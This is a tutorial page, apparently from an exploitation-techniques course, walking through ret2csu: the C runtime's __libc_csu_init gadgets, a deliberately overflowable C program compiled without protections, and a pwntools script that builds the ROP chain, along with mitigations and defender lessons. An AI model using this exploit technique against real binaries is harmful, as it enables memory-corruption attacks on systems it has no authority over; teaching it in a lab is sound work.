Skip to content

ret2csu: Borrowing the Runtime's Universal Gadget

No pop rdx gadget? The C runtime's startup code has a universal sequence that loads several registers and makes a controlled call. Build it with pwntools, and see where it's gone.

Published on 4 min read

This is the ninth walkthrough in the Exploitation Techniques area. The SROP guide answered "not enough gadgets" with a forged signal frame. ret2csu answers the same problem differently: it borrows a universal gadget that the C runtime links into nearly every binary, letting you load several registers and make a controlled call even when a plain pop rdx is nowhere to be found.

Your own binary, disposable lab. See the lab rules.

The problem: no pop rdx

You want to call read(0, writable_addr, count) or execve(path, argv, envp), which need rdx set. But:

$ ROPgadget --binary vuln | grep 'pop rdx ; ret'
(nothing)

pop rdi ; ret and pop rsi ; ret exist; pop rdx does not. This is extremely common. ret2csu fills the gap.

The universal gadget

The classic C runtime function __libc_csu_init (present in most non-PIE and older dynamically linked binaries) ends with two reusable sequences. The first pops six registers:

; Gadget 1 — pop the callee-saved registers
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

The second moves them into argument registers and makes an indirect call:

; Gadget 2 — set args from the popped registers, then call
mov rdx, r15
mov rsi, r14
mov edi, r13d          ; NOTE: 32-bit — only the low 32 bits of rdi
call qword [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop back>
; ... register restores ... 
ret

So by choosing what Gadget 1 pops, we control the call:

Register (popped)FeedsBecomes
r15mov rdx, r15rdx (3rd arg)
r14mov rsi, r14rsi (2nd arg)
r13mov edi, r13dlow 32 bits of rdi (1st arg)
r12, rbxcall [r12 + rbx*8]the function pointer to call
rbpcmp rbp, rbxloop control (set so it exits)

Set rbx = 0 and rbp = 1: after add rbx, 1 makes rbx = 1, the cmp rbp, rbx matches and the loop exits cleanly instead of calling again. Put a pointer to a GOT entry in r12 (so [r12+0] holds a resolved function address), and Gadget 2 calls that function with our chosen rdx, rsi and low‑32 rdi.

The target and the chain

/* vuln.c — overflow, but few gadgets; classic CRT present. */
#include <unistd.h>
int main(void){ char b[64]; read(0,b,512); return 0; }
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c

pwntools locates the two csu gadgets and packs the frame; understanding the layout is what lets you debug when it cannot:

# ret2csu.py — use ret2csu to call read(0, bss, 8) with a controlled rdx
from pwn import *

context.binary = elf = ELF("./vuln")
rop = ROP(elf)

# pwntools can often build the call directly using csu:
rop.call(elf.plt["read"], [0, elf.bss(0x200), 8])   # rdi=0, rsi=bss, rdx=8
info(rop.dump())

payload = flat({72: rop.chain()})
io = process("./vuln")
io.send(payload)

If you build it by hand, the stack is: Gadget 1 address, then the six popped values (rbx=0, rbp=1, r12=&read@got, r13=rdi, r14=rsi, r15=rdx), then Gadget 2's address. Because edi is only 32-bit, rdi values above 4 GB cannot be set this way — a real limitation you plan around (e.g. use it for the read that stages a cleaner chain, then pivot).

When __libc_csu_init is gone

Newer toolchains dropped the classic function, so the gadgets may not exist. The standard fallbacks:

  • Gadgets in __libc_start_main or other CRT objects that happen to move values into rdx.
  • ret2dlresolve — abuse the dynamic linker's lazy-resolution structures to resolve and call system by name, sidestepping the need to leak libc at all.
  • SROP — set every register via a signal frame.

pwntools' rop.call(...) raising because it cannot satisfy an argument is your signal that this binary needs one of these instead.

Turn the mitigations back on

ret2csu is "just" a ROP technique for register setup, so the mitigations that matter are the familiar ones for the hijack itself:

MitigationEffect
Stack canaryStops the overwrite that starts the chain
PIE + ASLRRandomizes the csu gadget and GOT addresses; needs a leak
Full RELROThe GOT entry r12 points at is still readable (RELRO only makes it read-only), so ret2csu can still call through it — but RELRO blocks overwriting it
Shadow stack / CETAborts the returns that drive the chain

There is no ret2csu-specific mitigation because it exploits legitimate runtime code, not a bug. It disappears only when the toolchain stops emitting the gadget.

What this teaches a defender

  • Argument-register gadgets are everywhere, including in code you did not write. The C runtime linked into your binary is part of the attack surface. Lean, statically minimal builds expose fewer such sequences.
  • RELRO and ret2csu are orthogonal. RELRO stops writing the GOT (GOT overwrite); ret2csu reads and calls through it. Enabling RELRO does not touch this technique — another reminder that mitigations are targeted.
  • The backbone defence stays the same: break the hijack (canary), hide the addresses (PIE + no leaks), and enforce backward-edge integrity (shadow stack). ret2csu, SROP and plain ROP all die at those choke points.

Key takeaways

  • ret2csu borrows two sequences in __libc_csu_init to load rdx/rsi/low‑rdi and make a controlled call — the standard fix for a missing pop rdx.
  • Set rbx=0, rbp=1 to exit the loop, and point r12 at a GOT entry holding the function to call.
  • mov edi, r13d is 32-bit, so rdi is limited to 32 bits through this path — plan around it.
  • Modern toolchains may omit the gadget; ret2dlresolve and SROP are the fallbacks. No bug means no dedicated mitigation — only the usual hijack defences apply.

Next: stack pivoting, for when the overflow gives you too little room to hold the chain at all.

Related guides

0x8000 · ARM64 Exploitation

ROP on ARM64: Gadgets and the Link Register

AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.

0x7000 · Exploitation Techniques

Stack Pivoting: Relocating the ROP Chain

When the overflow gives you only a few bytes past the return address, pivot the stack pointer into a buffer you fully control and run the real chain from there. A pwntools walkthrough.

0x7000 · Exploitation Techniques

Building a ROP Chain Step by Step

With NX on, injected shellcode is dead — so we reuse the program's own code. A full lab walkthrough: find gadgets, hand-build an execve syscall chain with pwntools, then watch CET and CFI break it.